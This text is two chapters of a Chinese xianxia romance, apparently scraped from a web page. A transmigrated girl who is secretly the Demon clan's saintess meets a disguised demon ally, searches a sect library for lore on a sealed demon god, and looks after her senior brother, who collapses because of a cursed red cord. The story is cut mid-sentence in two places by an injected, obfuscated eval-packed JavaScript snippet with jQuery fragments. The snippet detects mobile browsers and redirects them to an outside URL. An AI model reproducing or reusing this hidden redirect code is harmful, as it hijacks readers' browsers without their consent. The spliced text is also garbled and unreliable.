“乖巧可爱?”傅逾白冷冷地瞥了一眼程知鱼,皮笑肉不笑。 “是,师傅,我明日一定会准时叫师!妹!起床的。” 傅逾白勾起一抹笑容,盯着程知鱼一字一句说了出来。 程知鱼心底一凉:大可不必这样! 17. 第 17 章 青云宗的术法课程一般分为两大类,其中之一便是基础课程,包括丹修,符修,医修等等等等。另一大类则是根据选择的法器挑选适合自己的功法进行系统性的学习,跟大学课程的公共课和专业课很类似。 程知鱼心如死灰地趴在桌子上听着远处拿着卷轴絮絮叨叨的长老,像被霜打过的茄子似的低着头,偷偷闭上眼睛假寐。 可怜她穿书前是苦逼大学生,每天早八上到吐,穿书后一样要早起上课,拜傅逾白所赐,甚至起得更早。 昨日取得法器后回到自己的寝殿,程知鱼可谓是精疲力尽,人一挨着床马上就睡着,哪想到第二天一大早就被傅逾白叫醒,美其名曰早起锻炼身体。 她深深叹了口气,打起精神来勉强听完长老提醒的各类注意事项。 不知道过了多久,在程知鱼再次昏昏欲睡之前,那长老终于结束了念叨,放大家离开。 程知鱼探头寻找了一下,没有发现姜拂雪他们,想着或许不在一个班级教学,便不再继续找,撑着半死不活的身子想回寝殿睡个回笼觉。 “程姑娘。” 程知鱼糊成一团的脑袋瞬间清醒,转头看去。 只见一少年站在她身后不远处,身型挺拔如松,黑发随意地披在肩上,虽是少年模样,周身却没有一丝少年气,精致的眉眼里塞满了疲惫。 程知鱼觉着眼熟,却有些想不起来究竟在何处见过这名少年。 她偷偷打量着面前之人,眼神扫过他腰间的玉葫芦时,记忆突然回笼。 他不正是淮南子收的那名弟子吗?好像是叫顾渊…… 程知鱼有些摸不着头脑,在入门测试时,这名少年一直是默默一个人,基本不与其他人有任何交集,有时又会突然失踪,跟她更是一句话也没说过,这下是什么意思。 迟疑了一会,她还是走了过去,想看看他究竟想要做什么。 程知鱼微微欠身:“顾公子,好久不见。” 她的视线与顾渊撞在了一起,却莫名感受到一阵寒意,不受控制地后退了一步。 少年微愣,随即一步一步地朝她逼近,苍白的脸上挂着若有若无的笑意。 程知鱼退无可退,只能紧紧贴着墙,努力弯出一个微笑:“顾公子这是什么意思?” 顾渊微凉的指腹扣住了程知鱼的下巴,将她的脸抬了起来,盯了半晌:“程姑娘可还记得自己的任务?” “任务?什么任务?” 突然程知鱼像被施了定身咒浑身僵硬,连汗毛都竖立了起来。 她除了一个盗取神器的任务哪还有什么别的任务,这人是魔族中人! “想起来了?”面前的少年“嗤”地笑出了声,放过了她,下一刻灵力闪动,变回了自己原本的相貌。 “顾梧渊!” 程知鱼失声喊出来后马上捂住了自己的嘴,水润润的眼睛睁得溜圆,眼底全是明晃晃的震惊。 她像要做什么见不得人的事一般,探出脑袋四处看了看,确定没人注意到他们这边才松了口气,把顾梧渊拉到无人处。 “你怎么混进来的?” 程知鱼有些惊讶,同时心底涌起一阵阵后怕。如果顾梧渊进来了,那是不是意味着还有其他魔族人也混在青云宗。 她皱着眉思量着,虽说她现在的身份是魔族圣女,但毕竟是原主的锅,她无论如何也做不到助纣为虐。 顾梧渊看着程知鱼小脸皱成了苦瓜,几簇头发因为着急立了起来,没忍住上手压了压:“放心,暂时只有我在这,至于我怎么进来的你就不必知道了。” “嗯嗯嗯嗯。”程知鱼小鸡啄米式点头,想赶紧离开此地,好好思考一下现在的状况。 顾梧渊低眼看着她头顶的发旋,又撸了一把,被程知鱼挡开:“摸头长不高的不知道吗?” “呵”面前的少年眉间的疲惫淡了些,一只手捂住眼睛低低笑了起来,好一会才停下来。 “你走吧。”他摆摆手,又突然叫住程知鱼,从脖间取下了一个物什,递给她:“有危险就吹响它,我听见就会来找你。” 那是一只莹白的骨哨,上面刻着些她看不懂的文字,兴许是魔族的符咒。 程知鱼下意识摩挲着手中的骨哨,温热的骨哨还带着少年淡淡的体温。 “谢谢你。” “嗯。” 一阵疾风忽的涌起,程知鱼抬手挡了挡,再睁眼时面前的少年已经不见了踪影。 她将手中的骨哨戴上,却突然想起顾梧渊让她看的那个光幕里的少年,心念一动,莫名觉得那一幕熟悉万分,就好像她真的参与了他的过去。 “怎么可能。”程知鱼摇摇头将脑海中不切实际的想法甩了出去,她是从现代穿越而来的,大概是以前遇见过长得相似的人吧。 她慢慢悠悠地走在回寝殿的路上,眼皮恹恹地搭着,连同窗喊了好几声都没听到,只自顾自向前走。 路还是这条路,目的地却在不知不觉间变了模样,程知鱼在栖梧阁前停下了脚步。 栖梧阁的守门弟子每日一换,一刻不停地守在这里,毕竟这里藏着修真界的各种孤本典籍,阵法心法,稍有不慎遗失了都会闹出大乱子,后果不可估量。 守门的弟子看见程知鱼在门口站了一会,迟迟没有动作,两人对视一番,提起长剑就走上前。 “干什么的?” 程知鱼这才反应过来,尴尬地解释:“两位师兄,我是新入门的弟子,想进去找些卷轴典籍可以吗?” “新入门的弟子?”两位守门弟子狐疑地看着程知鱼,眸中带着些警戒,“可有证明身份的物件?” “有的有的。”她从袖中掏出师傅给她的玉牌递给两位师兄。 “原来是程师妹。”两位弟子朝程知鱼抱了抱拳,“近来魔族猖獗,有的甚至乔装打扮混入其他宗门,我们不得不防,还请见谅。” 程知鱼心里“咯噔”一下,眸中闪过几分不自然,面上神色却不变,笑盈盈地说道:“辛苦两位师兄了。” “应该的。”两位弟子冲她点点头,便不再阻拦,将她放了进去,接着回到自己的岗位上值守。 程知鱼收好自己的玉牌,刚踏入大门时,便察觉到了异常。 在外面看不出什么,但走进来时就会感觉筋脉被结界的灵力探查过一遍,若此时毫无防备的魔族便无处遁形。 程知鱼垂眸,幸亏她有血咒帮忙遮掩,就是不知道顾梧渊如何了。 说来也奇怪,青云宗探查的如此严苛,他究竟是如何骗过众多长老神不知鬼不觉地进来的? 程知鱼想不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093260|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出个所以然,干脆先将此事放一边,现在她有正事要干。 栖梧阁如此多的仙术典籍,其中不乏有上古神族留存的秘术,她想看看能否找到关于补全她魂魄的秘术,起码先解决一个燃眉之急再说。 可栖梧阁如此多的卷轴,若是一一翻找,不知要找到猴年马月。 她无奈地叹了口气,灵力到用时方恨少啊…… 也不知这个原主作为魔族圣女灵力如此低微,到底是如何平安长大这么大的。 程知鱼席地而坐,随手抓起身旁的一卷典籍翻看起来,虽说与她所需要的东西没什么关联,但也让她涨了不少见识。 “不愧是第一宗门!”她细细阅读着这卷关于符咒类的典籍,上面未曾标注所著之人,却将一些偏门符咒以画代写深入浅出地讲解。 她并不抱着短时间内就能找到她想要的东西,但多学一些总是没错,起码在遇到危险之时能有自保之力,总不能一直躲在他人的臂膀之下。 程知鱼薄唇微动,手指跟着比划,一对秀眉时而紧皱时而舒展,远远看去也是一副赏心悦目的画卷。 黄昏的余光透过窗子落在她身上,光晕柔和,朦朦胧胧地笼罩着她温婉的面庞。 程知鱼伸了个懒腰,揉了揉有些疲乏的眼睛,将手中的书合上放回原处,随手从旁边又拿了一本。 程知鱼琢磨着这事肯定急不得,也没想着今天便能找到什么有用线索。 昏黄的灯笼挂在墙上一摇一晃,连灯光也有些忽明忽暗,程知鱼有些不耐烦地轻“啧”一声。 她扭扭腰,找了个舒服的坐姿,拿起地上的书。 不知为何,这本典籍显得格外破旧,封面的字迹像是被人刻意毁去,整本书如同被水浸泡过似的布满黄斑褶皱。 “奇怪?”程知鱼低声嘟囔道,拿出软布轻轻将封面的灰尘擦去。 细小的尘土飞扬在空中,她随手挥了挥,小心翼翼地翻开那本破旧的有些古怪的书。 这是一部记载上古魔神的典籍,书中花大量篇幅描绘了魔神的降世,统治,以及他的丰功伟绩。 程知鱼有些哭笑不得,耐着性子翻了几页,正当她以为这是一本由魔神不知名狂热粉丝写出来纪念他的作品时,突然看见了最下面的一行小字。 “魔神曾于身死魂销之际以神器侥幸保全性命。” 神器?又是神器? 程知鱼突然感觉脊背有些发凉,从穿越以来,她好像总是跟神器扯上关系。无论是所谓的血咒还是现在这个不知道是不是真实的魔神曾经起死回生的方法。 她仿佛一直被一只无形的大手推着向前走,想要解开血咒或是补全魂魄都需要那四方神器。 程知鱼定了定心神,想看看下一页还有没有什么线索,却发现根本没有下一页。 中间这页不知道被什么人撕去了,像是很着急随手撕下的,还残留着锯齿形的残页。 程知鱼紧蹙着眉往后翻,书中直接开始讲述魔神被封印后所发生的事。 这样看来被撕去的那一页会是魔神的被封印的原因吗? 说来也怪,修真界消息如此灵通,记载也十分详细,却好像无人知晓魔神究竟是被何人所封印,神族又为何会消失? 究竟是谁不想让这一切被发现? 18. 第 18 章 程知鱼想得有些头疼,但以她目前掌握的线索,也无法推断出究竟是谁在背后推波助澜。 魔族要是仅仅只为了解开魔神封印复活魔神,大可以找更靠谱的人来寻得神器,何必大费周章让她这个灵力低微的魔族圣女来。 “唉……”她眨了眨眼,长时间的翻阅让程知鱼的双眼布满血丝,只得叹口气将书放下,靠在书架旁短暂地休息一会。 夜色逐渐笼罩了穹顶,厚重的云层将月光遮盖得严严实实,门口的值守弟子又换了一波,短暂打破此地的宁静。 脚步声突兀地出现在栖梧阁,吓得程知鱼猛地睁开眼睛,瞌睡虫消失得无影无踪。 “何时如此勤奋了?”傅逾白温声开口,红色的发带落在颈边,被他随意拨弄到一旁。 程知鱼的视线直直撞入他盛满月色的黑眸,呼吸微微一滞。 下一刻,便眼疾手快地把书偷偷藏在了身后,随后装着若无其事的模样,无辜地看着他。 “师兄哪的话……”程知鱼不动声色地挪了挪位置,“就是想着作为你的师妹自然不能给你丢脸嘛。” 傅逾白蹙了蹙眉,程知鱼的小把戏哪能逃脱他的眼睛,但他也没道破,突然朝前走了一步,蹲下身子似笑非笑地看着眼前的女孩:“是吗?” 程知鱼被他看得心虚,于是避开他的视线,垂下眼眸有些刻意地扯开话题:“师兄怎么突然来栖梧阁了,也是想寻什么东西吗?” “也?” “不是……”程知鱼缩了缩脖子,暗自腹诽:这人未必太敏锐了些。 傅逾白勾了勾唇角,沁了水的眼睛直勾勾地盯着她:“值守的弟子说你在这呆了一天,我好奇便进来看看。” “啊哈哈,那真是太巧了。” 程知鱼脸色有些僵硬,不自然地笑了几声,趁着傅逾白转过去的间隙将书重新塞了回去。 “对了师兄,你知道上古魔神是如何被封印的吗?” 她状似不经意地问起,一边偷偷观察着傅逾白的反应。 傅逾白斜睨过来,面色如常,眼神却幽暗了几分:“无人知晓魔神究竟是如何被封印的。” “连师兄都不知道?”程知鱼瞪大了眼睛,她以为傅逾白多多少少会知道些密辛。 面前的少年不知想起了什么,脸色瞬间变得有些苍白,连唇色都尽数退去,活像见到了鬼似的。 “师兄?”程知鱼被眼前之人吓到了,小心翼翼地扯了扯他的袖子。 烛光映在傅逾白眼底,忽明忽暗,片刻,他才勉强压下眉间的燥意。 他握紧了拳,手腕上的红绳如洪水猛兽一般撕扯着他的筋脉,深入骨髓的刺痛让他一时间说不出话。 他盯着程知鱼看了一会,梦中的身影好像迷迷糊糊地与她重叠在一起。 傅逾白抿了抿唇,将脑海中不切实际地幻想抛之脑后:“功法如何?” “还未领悟第一层。” 程知鱼想起玉清真人曾说过,由于这碎骨锤是魔族的圣物,虽然经青云宗净化了这几百年,但魔气难消,若如不小心,便很容易走火入魔。 她本就是魔族人,对于走火入魔这种事还不甚担心。 令她有些担心的是,这碎骨锤竟莫名对她格外亲近,不知是不是因为她是魔族圣女的缘故,她甚至觉得这魔物像是与她融为一体,她心念一动,那碎骨锤便能爆发出意想不到的威力。 程知鱼在意识到这个问题后,便不再修炼玉清真人所给的功法,那套功法对碎骨锤来说效果微乎其微。 从那之后她便下意识地隐瞒这个事情,对外仅展现她两成灵力,否则必然招致其他人的怀疑,这对她目前的处境是极其危险的。 面对傅逾白之时,程知鱼也下意识说了谎,对她来说这个世界唯一可以信任的人只有自己。 她无奈地摊开手,一副委屈的神情:“师兄,你也知道,我灵力低微,资质平平,哪可能那么快就领悟到那些功法。” 程知鱼弯起眼睛,睫毛轻颤,扯着傅逾白的袖子摇了摇:“师兄,我会努力的,你别凶我……” “你!”傅逾白猛地将自己的袖子扯了出来,连连后退,红晕从后脖颈直延伸到脸颊上,黑润润的眼睛睁得大大的,高高束起的马尾因为他的动作变得有些凌乱。 他“你”了半天也没讲出什么话来,手指藏在袖中微微蜷曲,片刻袖子一甩,便头也不回地走了。 程知鱼眼下带着些淡淡的青黑,因为这些事已经精疲力尽,看见这一幕,仍是没忍住低声笑了出来。 在她眼里,她这位二师兄虽然脾气硬嘴更硬,但同时也好哄的不得了。 * 深夜。 程知鱼躺在床上翻来覆去睡不着,便想着出去外面走走,没想到又遇见了同样是夜猫子的傅逾白。 四目相对…… 没办法,程知鱼只好再次硬着头皮走上去跟傅逾白打招呼。 “好巧啊师兄,我们又见面了哈哈哈……” “你……”傅逾白想说些什么,眼前却顿时天旋地转,下一刻便直挺挺地倒了下去。 “我靠!”程知鱼被吓得一激灵,直接飞扑出去拉住傅逾白的手。 但没想到的是少年看着清瘦,实则分量不小,程知鱼没拉住他,反而被他死死压在身下当成肉垫,差点血溅当场。 她使劲翻身从少年身下爬出来,看着近在咫尺的悬崖,心有余悸。 程知鱼缓了口气,也顾不上方才身上的擦伤了,手脚并用地爬到傅逾白身边。 少年眉头紧蹙,面色如纸,一只手紧紧扣住另一只手腕,手指因过于用力而苍白,像是要将自己的手腕生生掰断。 程知鱼犯了难,她伸出手摸了摸少年的额头,却没有发热的迹象,从外表上看也没有受伤的痕迹。 难道是内伤? 程知鱼盯着傅逾白的脸好一会,抬手凝聚灵力,决定将他送去灵巫那里看看。 没成想原本躺在地上一动不动的人却突然睁开双眼,扣住了程知鱼准备施法的手。 “不要……”傅逾白好一会才吐出这几个字,像是耗费了全部精力,说完又晕了过去,手却不肯松开。 程知鱼低头看着手腕上骨节分明的手,叹了口气,认命地俯下身子,轻轻地将他的手从她的手腕处移开,将傅逾白的肩膀搭在自己的肩上,半拖半拽地将他扶起来。 想来他是不愿意去巫医那,虽然不知为什么,但程知鱼还是顺了他的意。 此处到傅逾白的寝殿相距甚远,程知鱼只能将他搬回自己的寝殿。 傅逾白的整个人都搭在程知鱼身上,一只手臂无意识地垂下,在她眼前来回摆动。 程知鱼不是第一次看见傅逾白手腕上的红绳,鲜艳如血,在他莹白的手腕上显得格外突出。 那红绳又不像凡间手艺人随意编的,如同嗜人心魄的妖魔一般,看的时间长了整个人便天旋地转。 难道这也是什么魔物? 程知鱼大骇,赶忙在心中默念起清心咒,神智才重新恢复正常。 她把自己当成无情的搬运机器,不乱看不乱动,不到一会就到了自己的寝殿。 程知鱼仿佛看见胜利的曙光,强撑着一口气将背上的少年扔在床上,深深吐出一口浊气。 她面如土色揉着自己的肩膀,幽怨地看着床上不省人事的少年,心下一阵阵后悔。 早知道就把他扔在那了,现在这算什么事啊…… 程知鱼还在暗自唉声叹气,床上的人在不知不觉间幽幽转醒。 “这……是哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093261|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”傅逾白哑着嗓音,扶着额头艰难起身,木质的床传来一阵咯吱咯吱的声响。 “我的寝殿。”程知鱼抿了口茶,没好气地答道。 她还是没忍住自己多管闲事的心,走到床边将傅逾白上下左右检查了一遍,确定他不会再突然晕过去后才勉强放心。 “多谢。”少年看着有些尴尬,声音微不可察,红晕再次覆上脸颊。 程知鱼摆摆手,视线却不自觉地落在傅逾白的手腕上,嫣红的绳子紧紧捆着他的手腕,像是从血肉中长出来似的,看着格外瘆人。 少年似有所感,顺着她的视线看向那根红绳,神色僵了半刻,仿佛被施了定身咒。 傅逾白知道程知鱼想问什么,他张了张口,却说不出什么,眼神逐渐幽深,好一会才不情不愿地开口:“这根红绳是我出生起就带着的。” “出生就带着了?” 傅逾白点点头,脸颊突然涨得通红,“我是师傅从一处洞天福地处捡回来的,那时我的手上就已经带着那红绳了。” 他顿了顿接着说道:“师傅带我回青云宗后,巫医看见我手腕处的红绳后,大惊失色,说这是我上一世的情缘未了,需找到那女子,心脉才有可能痊愈。” “心脉?”程知鱼有些惊讶,傅逾白平时的样子可一点都看不出心脉有什么异常。 她揶揄地看着傅逾白,“这么说你这一世还有一个命定姻缘了?” “我才不信什么命定姻缘。”傅逾白嗫嚅,“我只相信我的心。” “但这跟你晕倒有什么关系?”程知鱼蹙眉,眼里带着不易察觉的探究,“难道你是因为见到命定姻缘了?” “怎么可能!”傅逾白大声打断程知鱼的话,由于情绪太激动还忍不住咳嗽了几声,原本就苍白的脸更加可怜,真有几分弱不禁风的味道了。 他顺了顺气,气冲冲地说道:“我也不知道这绳子什么毛病,有时候遇到你……” 说着说着声音越来越小,程知鱼只得附耳听去,哪知傅逾白突然推开她,什么也不说,拿起被子盖过头,整个人钻进去说什么也不肯出来。 程知鱼叉着腰站在床头,震惊地看他一系列动作,“这不是我的床吗?” 话音刚落,床上传来一阵窸窸窣窣的响动,程知鱼眼前突然一黑——一床薄毯被傅逾白丢了下来。 行! 好女不跟男斗。 程知鱼窝窝囊囊地在地上打了一个简易的地铺,又窝窝囊囊地躺了下去。 习习凉风从窗缝灌入房间,程知鱼塞了塞自己的被角,将整个人蜷缩成一个球。夜里寂静无声,寝殿内也只能听到两人的呼吸声。 “你睡着了吗?”程知鱼掀开一角,朝床上望了望,床上的人背对着她,一动不动。 “睡着了别吵。” …… 程知鱼一时语塞,过了一会才幽幽开口:“师兄,你方才说巫医看见你的红绳便说你有两世情缘,巫医为何有这么大的能耐啊?” 床上的人很久没说话,久到程知鱼以为他真的睡着了,才突然说道:“巫医是女娲的后人,有着通阴阳知古今的本事,他们所预言的从未有过差错。” “难道师兄被预言能带领修真界消灭魔神也是他们所为吗?” “嗯。” 程知鱼久久不能言,不知为何,她居然会可怜这个风光无限的二师兄。 可能是今天晚上风吹懵了头脑,可能是今天疲倦让她有些神智不清,程知鱼压低了声音,如同沁人心脾的清泉:“师兄,你累不累啊?” 这句话随着风在转了几个圈,缓缓落地,程知鱼困极了,在不知不觉间沉沉睡去。 过了很久很久,傅逾白像是在回答她又像是在回答自己,低得几乎听不见地“嗯”了一声。